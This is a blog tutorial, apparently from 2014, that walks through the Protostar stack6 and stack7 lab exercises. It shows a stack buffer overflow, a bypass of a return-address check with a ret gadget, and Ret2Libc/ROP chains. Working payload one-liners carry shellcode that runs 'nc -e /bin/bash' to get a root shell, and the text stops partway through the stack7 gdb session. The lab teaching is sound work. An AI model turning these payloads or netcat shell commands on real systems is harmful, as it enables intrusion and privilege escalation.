Ret2Libc and ROP

Posted on Wed 06 August 2014 in x86-32 Linux

So far, all of our exploits have included shellcode, on most (if not all) modern systems it isn't possible to just run shellcode like this because of NX.

NX disallows running code in certain memory segments, primarily memory segments that contain variable data, like the stack and heap.

A number of techniques were created to beat NX and I want to demostrate 2 of them here, return to libc (Ret2Libc) and return-oriented programming (ROP).

This will be slightly different to my previous posts as I will not be hacking an application that I wrote but instead taking on 2 challenges from the protostar section of exploit exercises.

The challenges that we will look at here are stack6 and stack7.

While these challenges have both NX and ASLR disabled they both implement their own protection which disables the straight running of shellcode.

Stack6: The App

So if you look at the webpage for stack6, it actually gives you the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();



}

The buffer overflow is on line 13, the application then gets the function return address on line 15 and checks it on line 17.

If the return address begins with bf the application exits, stack addresses normally begin with bf so you cannot just overwrite it with an address on the stack.

One other thing to notice here is that the vulnerable line is using the gets function, this function will only stop once it reaches a newline (\n) or end of file (EOF) character so we do not need to avoid null (\0) characters.

Stack6: The Easy Way

While I've written this post to demonstrate Ret2Libc and ROP we can get our shellcode to run on these 2 challenges using the exact same method which I'll explain quickly here.

So our buffer is 64 bytes long, we have the local variable ret which is 4 bytes, then we have the saved EBP from main's stack frame and finally the return address, its worth noting that the stack has to be 16 byte aligned so 8 will need to be added before you get to the return address. So we need to write 64+4+4+8 = 80 bytes before we overwrite the return address and hijack EIP.

Lets test this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ bash
user@protostar:~$ cd /opt/protostar/bin/
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80' > /tmp/t
user@protostar:/opt/protostar/bin$ python -c 'print "A"*84' > /tmp/t2
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r < /tmp/t
Starting program: /opt/protostar/bin/stack6 < /tmp/t
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA� �

Program received signal SIGSEGV, Segmentation fault.
0x08048507 in main (argc=Cannot access memory at address 0x41414149
) at stack6/stack6.c:31
31  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) r < /tmp/t2
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/t2
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

So we were correct, we can now test what happens if we write an address beginning with bf:

1
2
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\x00\x00\x00\xbf"' | ./stack6
input path please: bzzzt (0xbf000000)

As you can see we've hit the printf inside the if statement and exited without seg faulting.

If there was a jmp esp or ff e4 in the application code we could use the same method we used in the beating ASLR post but that isn't the case here.

We can still run our shellcode though using a slightly more complex method, the application is only checking the return address of the current function (note the argument to the __builtin_return_address function call), so we just need to make sure that this address doesn't start with bf.

We'll do this by using 1 ROP "gadget", let's first find the address of our gadget:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
user@protostar:/opt/protostar/bin$ objdump -d ./stack6 -M intel

./stack6:     file format elf32-i386


Disassembly of section .init:

08048330 <_init>:
 8048330:   55                      push   ebp
 8048331:   89 e5                   mov    ebp,esp
 8048333:   53                      push   ebx
 8048334:   83 ec 04                sub    esp,0x4
 8048337:   e8 00 00 00 00          call   804833c <_init+0xc>
 804833c:   5b                      pop    ebx
 804833d:   81 c3 b0 13 00 00       add    ebx,0x13b0
 8048343:   8b 93 fc ff ff ff       mov    edx,DWORD PTR [ebx-0x4]
 8048349:   85 d2                   test   edx,edx
 804834b:   74 05                   je     8048352 <_init+0x22>
 804834d:   e8 1e 00 00 00          call   8048370 <__gmon_start__@plt>
 8048352:   e8 09 01 00 00          call   8048460 <frame_dummy>
 8048357:   e8 24 02 00 00          call   8048580 <__do_global_ctors_aux>
 804835c:   58                      pop    eax
 804835d:   5b                      pop    ebx
 804835e:   c9                      leave  
 804835f:   c3                      ret    

Disassembly of section .plt:

08048360 <__gmon_start__@plt-0x10>:
 8048360:   ff 35 f0 96 04 08       push   DWORD PTR ds:0x80496f0
 8048366:   ff 25 f4 96 04 08       jmp    DWORD PTR ds:0x80496f4
 804836c:   00 00                   add    BYTE PTR [eax],al
    ...

08048370 <__gmon_start__@plt>:
 8048370:   ff 25 f8 96 04 08       jmp    DWORD PTR ds:0x80496f8
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x30>

08048380 <gets@plt>:
 8048380:   ff 25 fc 96 04 08       jmp    DWORD PTR ds:0x80496fc
 8048386:   68 08 00 00 00          push   0x8
 804838b:   e9 d0 ff ff ff          jmp    8048360 <_init+0x30>

08048390 <__libc_start_main@plt>:
 8048390:   ff 25 00 97 04 08       jmp    DWORD PTR ds:0x8049700
 8048396:   68 10 00 00 00          push   0x10
 804839b:   e9 c0 ff ff ff          jmp    8048360 <_init+0x30>

080483a0 <_exit@plt>:
 80483a0:   ff 25 04 97 04 08       jmp    DWORD PTR ds:0x8049704
 80483a6:   68 18 00 00 00          push   0x18
 80483ab:   e9 b0 ff ff ff          jmp    8048360 <_init+0x30>

080483b0 <fflush@plt>:
 80483b0:   ff 25 08 97 04 08       jmp    DWORD PTR ds:0x8049708
 80483b6:   68 20 00 00 00          push   0x20
 80483bb:   e9 a0 ff ff ff          jmp    8048360 <_init+0x30>

080483c0 <printf@plt>:
 80483c0:   ff 25 0c 97 04 08       jmp    DWORD PTR ds:0x804970c
 80483c6:   68 28 00 00 00          push   0x28
 80483cb:   e9 90 ff ff ff          jmp    8048360 <_init+0x30>

Disassembly of section .text:

080483d0 <_start>:
 80483d0:   31 ed                   xor    ebp,ebp
 80483d2:   5e                      pop    esi
 80483d3:   89 e1                   mov    ecx,esp
 80483d5:   83 e4 f0                and    esp,0xfffffff0
 80483d8:   50                      push   eax
 80483d9:   54                      push   esp
 80483da:   52                      push   edx
 80483db:   68 10 85 04 08          push   0x8048510
 80483e0:   68 20 85 04 08          push   0x8048520
 80483e5:   51                      push   ecx
 80483e6:   56                      push   esi
 80483e7:   68 fa 84 04 08          push   0x80484fa
 80483ec:   e8 9f ff ff ff          call   8048390 <__libc_start_main@plt>
 80483f1:   f4                      hlt    
 80483f2:   90                      nop
 80483f3:   90                      nop
 80483f4:   90                      nop
 80483f5:   90                      nop
 80483f6:   90                      nop
 80483f7:   90                      nop
 80483f8:   90                      nop
 80483f9:   90                      nop
 80483fa:   90                      nop
 80483fb:   90                      nop
 80483fc:   90                      nop
 80483fd:   90                      nop
 80483fe:   90                      nop
 80483ff:   90                      nop

08048400 <__do_global_dtors_aux>:
 8048400:   55                      push   ebp
 8048401:   89 e5                   mov    ebp,esp
 8048403:   53                      push   ebx
 8048404:   83 ec 04                sub    esp,0x4
 8048407:   80 3d 24 97 04 08 00    cmp    BYTE PTR ds:0x8049724,0x0
 804840e:   75 3f                   jne    804844f <__do_global_dtors_aux+0x4f>
 8048410:   a1 28 97 04 08          mov    eax,ds:0x8049728
 8048415:   bb 10 96 04 08          mov    ebx,0x8049610
 804841a:   81 eb 0c 96 04 08       sub    ebx,0x804960c
 8048420:   c1 fb 02                sar    ebx,0x2
 8048423:   83 eb 01                sub    ebx,0x1
 8048426:   39 d8                   cmp    eax,ebx
 8048428:   73 1e                   jae    8048448 <__do_global_dtors_aux+0x48>
 804842a:   8d b6 00 00 00 00       lea    esi,[esi+0x0]
 8048430:   83 c0 01                add    eax,0x1
 8048433:   a3 28 97 04 08          mov    ds:0x8049728,eax
 8048438:   ff 14 85 0c 96 04 08    call   DWORD PTR [eax*4+0x804960c]
 804843f:   a1 28 97 04 08          mov    eax,ds:0x8049728
 8048444:   39 d8                   cmp    eax,ebx
 8048446:   72 e8                   jb     8048430 <__do_global_dtors_aux+0x30>
 8048448:   c6 05 24 97 04 08 01    mov    BYTE PTR ds:0x8049724,0x1
 804844f:   83 c4 04                add    esp,0x4
 8048452:   5b                      pop    ebx
 8048453:   5d                      pop    ebp
 8048454:   c3                      ret    
 8048455:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048459:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048460 <frame_dummy>:
 8048460:   55                      push   ebp
 8048461:   89 e5                   mov    ebp,esp
 8048463:   83 ec 18                sub    esp,0x18
 8048466:   a1 14 96 04 08          mov    eax,ds:0x8049614
 804846b:   85 c0                   test   eax,eax
 804846d:   74 12                   je     8048481 <frame_dummy+0x21>
 804846f:   b8 00 00 00 00          mov    eax,0x0
 8048474:   85 c0                   test   eax,eax
 8048476:   74 09                   je     8048481 <frame_dummy+0x21>
 8048478:   c7 04 24 14 96 04 08    mov    DWORD PTR [esp],0x8049614
 804847f:   ff d0                   call   eax
 8048481:   c9                      leave  
 8048482:   c3                      ret    
 8048483:   90                      nop

08048484 <getpath>:
 8048484:   55                      push   ebp
 8048485:   89 e5                   mov    ebp,esp
 8048487:   83 ec 68                sub    esp,0x68
 804848a:   b8 d0 85 04 08          mov    eax,0x80485d0
 804848f:   89 04 24                mov    DWORD PTR [esp],eax
 8048492:   e8 29 ff ff ff          call   80483c0 <printf@plt>
 8048497:   a1 20 97 04 08          mov    eax,ds:0x8049720
 804849c:   89 04 24                mov    DWORD PTR [esp],eax
 804849f:   e8 0c ff ff ff          call   80483b0 <fflush@plt>
 80484a4:   8d 45 b4                lea    eax,[ebp-0x4c]
 80484a7:   89 04 24                mov    DWORD PTR [esp],eax
 80484aa:   e8 d1 fe ff ff          call   8048380 <gets@plt>
 80484af:   8b 45 04                mov    eax,DWORD PTR [ebp+0x4]
 80484b2:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80484b5:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80484b8:   25 00 00 00 bf          and    eax,0xbf000000
 80484bd:   3d 00 00 00 bf          cmp    eax,0xbf000000
 80484c2:   75 20                   jne    80484e4 <getpath+0x60>
 80484c4:   b8 e4 85 04 08          mov    eax,0x80485e4
 80484c9:   8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 80484cc:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80484d0:   89 04 24                mov    DWORD PTR [esp],eax
 80484d3:   e8 e8 fe ff ff          call   80483c0 <printf@plt>
 80484d8:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80484df:   e8 bc fe ff ff          call   80483a0 <_exit@plt>
 80484e4:   b8 f0 85 04 08          mov    eax,0x80485f0
 80484e9:   8d 55 b4                lea    edx,[ebp-0x4c]
 80484ec:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80484f0:   89 04 24                mov    DWORD PTR [esp],eax
 80484f3:   e8 c8 fe ff ff          call   80483c0 <printf@plt>
 80484f8:   c9                      leave  
 80484f9:   c3                      ret    

080484fa <main>:
 80484fa:   55                      push   ebp
 80484fb:   89 e5                   mov    ebp,esp
 80484fd:   83 e4 f0                and    esp,0xfffffff0
 8048500:   e8 7f ff ff ff          call   8048484 <getpath>
 8048505:   89 ec                   mov    esp,ebp
 8048507:   5d                      pop    ebp
 8048508:   c3                      ret    
 8048509:   90                      nop
 804850a:   90                      nop
 804850b:   90                      nop
 804850c:   90                      nop
 804850d:   90                      nop
 804850e:   90                      nop
 804850f:   90                      nop

08048510 <__libc_csu_fini>:
 8048510:   55                      push   ebp
 8048511:   89 e5                   mov    ebp,esp
 8048513:   5d                      pop    ebp
 8048514:   c3                      ret    
 8048515:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048519:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048520 <__libc_csu_init>:
 8048520:   55                      push   ebp
 8048521:   89 e5                   mov    ebp,esp
 8048523:   57                      push   edi
 8048524:   56                      push   esi
 8048525:   53                      push   ebx
 8048526:   e8 4f 00 00 00          call   804857a <__i686.get_pc_thunk.bx>
 804852b:   81 c3 c1 11 00 00       add    ebx,0x11c1
 8048531:   83 ec 1c                sub    esp,0x1c
 8048534:   e8 f7 fd ff ff          call   8048330 <_init>
 8048539:   8d bb 18 ff ff ff       lea    edi,[ebx-0xe8]
 804853f:   8d 83 18 ff ff ff       lea    eax,[ebx-0xe8]
 8048545:   29 c7                   sub    edi,eax
 8048547:   c1 ff 02                sar    edi,0x2
 804854a:   85 ff                   test   edi,edi
 804854c:   74 24                   je     8048572 <__libc_csu_init+0x52>
 804854e:   31 f6                   xor    esi,esi
 8048550:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 8048553:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048557:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 804855a:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804855e:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048561:   89 04 24                mov    DWORD PTR [esp],eax
 8048564:   ff 94 b3 18 ff ff ff    call   DWORD PTR [ebx+esi*4-0xe8]
 804856b:   83 c6 01                add    esi,0x1
 804856e:   39 fe                   cmp    esi,edi
 8048570:   72 de                   jb     8048550 <__libc_csu_init+0x30>
 8048572:   83 c4 1c                add    esp,0x1c
 8048575:   5b                      pop    ebx
 8048576:   5e                      pop    esi
 8048577:   5f                      pop    edi
 8048578:   5d                      pop    ebp
 8048579:   c3                      ret    

0804857a <__i686.get_pc_thunk.bx>:
 804857a:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 804857d:   c3                      ret    
 804857e:   90                      nop
 804857f:   90                      nop

08048580 <__do_global_ctors_aux>:
 8048580:   55                      push   ebp
 8048581:   89 e5                   mov    ebp,esp
 8048583:   53                      push   ebx
 8048584:   83 ec 04                sub    esp,0x4
 8048587:   a1 04 96 04 08          mov    eax,ds:0x8049604
 804858c:   83 f8 ff                cmp    eax,0xffffffff
 804858f:   74 13                   je     80485a4 <__do_global_ctors_aux+0x24>
 8048591:   bb 04 96 04 08          mov    ebx,0x8049604
 8048596:   66 90                   xchg   ax,ax
 8048598:   83 eb 04                sub    ebx,0x4
 804859b:   ff d0                   call   eax
 804859d:   8b 03                   mov    eax,DWORD PTR [ebx]
 804859f:   83 f8 ff                cmp    eax,0xffffffff
 80485a2:   75 f4                   jne    8048598 <__do_global_ctors_aux+0x18>
 80485a4:   83 c4 04                add    esp,0x4
 80485a7:   5b                      pop    ebx
 80485a8:   5d                      pop    ebp
 80485a9:   c3                      ret    
 80485aa:   90                      nop
 80485ab:   90                      nop

Disassembly of section .fini:

080485ac <_fini>:
 80485ac:   55                      push   ebp
 80485ad:   89 e5                   mov    ebp,esp
 80485af:   53                      push   ebx
 80485b0:   83 ec 04                sub    esp,0x4
 80485b3:   e8 00 00 00 00          call   80485b8 <_fini+0xc>
 80485b8:   5b                      pop    ebx
 80485b9:   81 c3 34 11 00 00       add    ebx,0x1134
 80485bf:   e8 3c fe ff ff          call   8048400 <__do_global_dtors_aux>
 80485c4:   59                      pop    ecx
 80485c5:   5b                      pop    ebx
 80485c6:   c9                      leave  
 80485c7:   c3                      ret

All we're looking for here is a ret instruction, there are a few, we'll use the 1 on line 258, the address of this is 80485a9 so this will be our return address.

After the return address we insert some junk data (4 bytes) and then we will put the address of our shellcode.

First let's find the address that our shellcode will be at, this needs to be done in 2 terminals:

1
2
user@protostar:/opt/protostar/bin$ ./stack6
input path please:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@protostar:/# ps ax | grep stack6
 2221 pts/0    S+     0:00 ./stack6
 2268 pts/1    S+     0:00 grep stack6
root@protostar:/# gdb -q -p 2221
Attaching to process 2221
Reading symbols from /opt/protostar/bin/stack6...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb) set disassembly-flavor intel
Current language:  auto
The current source language is "auto; currently asm".
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret    
End of assembler dump.
(gdb) break *0x080484af
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) c
Continuing.
1
AAAAAAAAAAAA
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Breakpoint 1, getpath () at stack6/stack6.c:15
15  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
Current language:  auto
The current source language is "auto; currently c".
(gdb) x/20xw $esp
0xbffff770: 0xbffff78c  0x00000000  0xb7fe1b28  0x00000001
0xbffff780: 0x00000000  0x00000001  0xb7fff8f8  0x41414141
0xbffff790: 0x41414141  0x41414141  0xbffff700  0xb7eada75
0xbffff7a0: 0xb7fd7ff4  0x080496ec  0xbffff7b8  0x0804835c
0xbffff7b0: 0xb7ff1040  0x080496ec  0xbffff7e8  0x08048539

This means our payload will start at 0xbffff780+0xc = 0xbffff78c.

For this challenge I will put the shellcode at the end of the payload, we know the starting address of our payload and how many bytes until the shellcode so our shellcode will be at 0xbffff78c+0x58 = 0xbffff7e4.

I first tried with a normal shellcode that I had written but it didn't work:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x25\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x1c\x13\x31\xc9\x89\x4b\x0e\x8d\x0c\x13\x8d\x53\x0e\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA�������%1�̀��[�C  �
                                                                                                                                 1Ҳ B�1ɉK�
       �S̀�����/bin/bashABBBBCCCC
user@protostar:/opt/protostar/bin$

So it launched... Don't know what happened here, after some investigation I decided that it did actually run /bin/bash but exited straight away.

After some thinking I decide that I'm going to get execve to run bash and that to run nc to execute a shell, there are plenty of ways to get a shell in this situation, creating a script and running that, running nc directly..., this was just the first 1 that come to mind for me.

nc or netcat is a handy networking tool that can be used for a number of things, here we will use it to execute a shell.

So I rewrote the shellcode, started nc listening on port 9000 in 1 terminal:

1
user@protostar:~$ nc -l -p 9000

And then launched the exploit with the new shellcode:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x37\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\x88\x43\x0c\x88\x43\x2b\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x5b\x2c\x8d\x0c\x13\x89\x4b\x30\x8d\x4b\x0d\x89\x4b\x34\x31\xc9\x89\x4b\x38\x8d\x4b\x2c\x8d\x53\x34\xcd\x80\xe8\xc4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x2d\x63\x42\x6e\x63\x20\x2d\x65\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x20\x39\x30\x30\x30\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47"' | ./stack6
input path please: got path 1�̀��[�C    �C
                                                                                                                                  �C+�
                                                                                                                                      1ҲB�[,�
�K41ɉK8�K,�S4̀�����/bin/bashA-cBnc -e /bin/bash 127.0.0.1 9000CDDDDEEEEFFFFGGGG
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ls
final0
final1
final2
format0
format1
format2
format3
format4
heap0
heap1
heap2
heap3
net0
net1
net2
net3
net4
stack0
stack1
stack2
stack3
stack4
stack5
stack6
stack7
whoami
root

So, we can still run our shellcode, we just have an extra step to bypass the check that is done on the return address.

Stack6: Ret2Libc and ROP

Here we will recreate the exact same exploit for the same application but without using any shellcode.

First its easiest if we create what we want to run in C first:

1
2
setuid(0);
execve("/bin/bash", { "/bin/bash", "-c", "nc -e /bin/bash 127.0.0.1 9000" }, NULL);

So we need to find the addresses of both setuid and execve, we use gdb for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484fa <main+0>:    push   %ebp
0x080484fb <main+1>:    mov    %esp,%ebp
0x080484fd <main+3>:    and    $0xfffffff0,%esp
0x08048500 <main+6>:    call   0x8048484 <getpath>
0x08048505 <main+11>:   mov    %ebp,%esp
0x08048507 <main+13>:   pop    %ebp
0x08048508 <main+14>:   ret    
End of assembler dump.
(gdb) break *0x080484fa
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/stack6 

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26
26  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) print setuid
$1 = {<text variable, no debug info>} 0xb7f2ec80 <__setuid>
(gdb) print execve
$2 = {<text variable, no debug info>} 0xb7f2e170 <__execve>

As you can see, the address of setuid doesn't start with bf so we can use this as our initial return address.

We now want to address of our ROP gadget, this will just be responsible for cleaning up the stack after the call to setuid, so this time we want a pop [register], ret sequence of instructions.

Again we can use objdump to find this, I won't post another dump of the binary but there are many of these sequencies we can use, I'll use the one at 0x80485a8.

We can put our strings in to variables but this time, because we can insert null bytes (\0), I will put the strings at the start of the payload.

The number of bytes that the strings will occupy is:

1
2
user@protostar:/opt/protostar/bin$ echo -n "/bin/bash -c nc -e /bin/bash 127.0.0.1 9000 " | wc -c
44

We know we have 80 bytes before we overwrite the return address, so we need 80-44 = 36 bytes of padding after our strings.

So here is how we want the stack to look after we overflow it:

We have all of these addresses except 11, 12, 14 and 15. Let's work these out now.

First 14 is just 10 bytes away from the start of our payload, and we already know the start of our payload is 0xbffff78c from the last exploit, so 0xbffff78c+0xa = 0xbffff796.

15 is just 3 bytes from 13 so 0xbffff796+0x3 = 0xbffff799.

11 is the start of our payload plus 80 bytes, then plus 8*4 = 32 (there are 8 addresses before the argument list starts, each 4 bytes long), so 0xbffff78c+0x50+0x20 = 0xbffff7fc.

12 is just 3*4 = 12 bytes away from 10 (because there are 3 4 byte addresses before the null pointer), so 0xbffff7fc+0xc = 0xbffff808.

So with all of this information our stack should look like this:

Obviously all of the addresses have to be put in in little endian format.

Now we can test this, first start our listener:

1
user@protostar:~$ nc -l -p 9000
1
2
user@protostar:/opt/protostar/bin$ python -c 'print "/bin/bash\x00-c\x00nc -e /bin/bash 127.0.0.1 9000\x00" + "A" * 36 + "\x80\xec\xf2\xb7" + "\xa8\x85\x04\x08" + "\x00\x00\x00\x00" + "\x70\xe1\xf2\xb7" + "JUNK" + "\x8c\xf7\xff\xbf" + "\xfc\xf7\xff\xbf" + "\x08\xf8\xff\xbf" + "\x8c\xf7\xff\xbf" + "\x96\xf7\xff\xbf" + "\x99\xf7\xff\xbf" + "\x00\x00\x00\x00"' | ./stack6
input path please: got path /bin/bash
1
2
3
4
pwd
/opt/protostar/bin
whoami
root

Solved!

Stack7: The App

This challenge is very similar to the previous 1 except the return address is not allowed to begin with b instead of bf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();



}

Stack7: Exploitation

We could use exactly the same method as the last 1 and just put a pointer to a ret instruction before the call to setuid but I want to show a different way to do it.

I'm going to use system instead of execve and put my string into an environment variable.

First let's find the addresses of setuid and system:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048545 <main+0>:    push   ebp
0x08048546 <main+1>:    mov    ebp,esp
0x08048548 <main+3>:    and    esp,0xfffffff0
0x0804854b <main+6>:    call   0x80484c4 <getpath>
0x08048550 <main+11>:   mov    esp,ebp
0x08048552 <main+13>:   pop    ebp
0x08048553 <main+14>:   ret    
End of assembler dump.
(gdb) break *0x08048545
Breakpoint 1 at 0x8048545: file stack7/stack7.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack7 

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:27
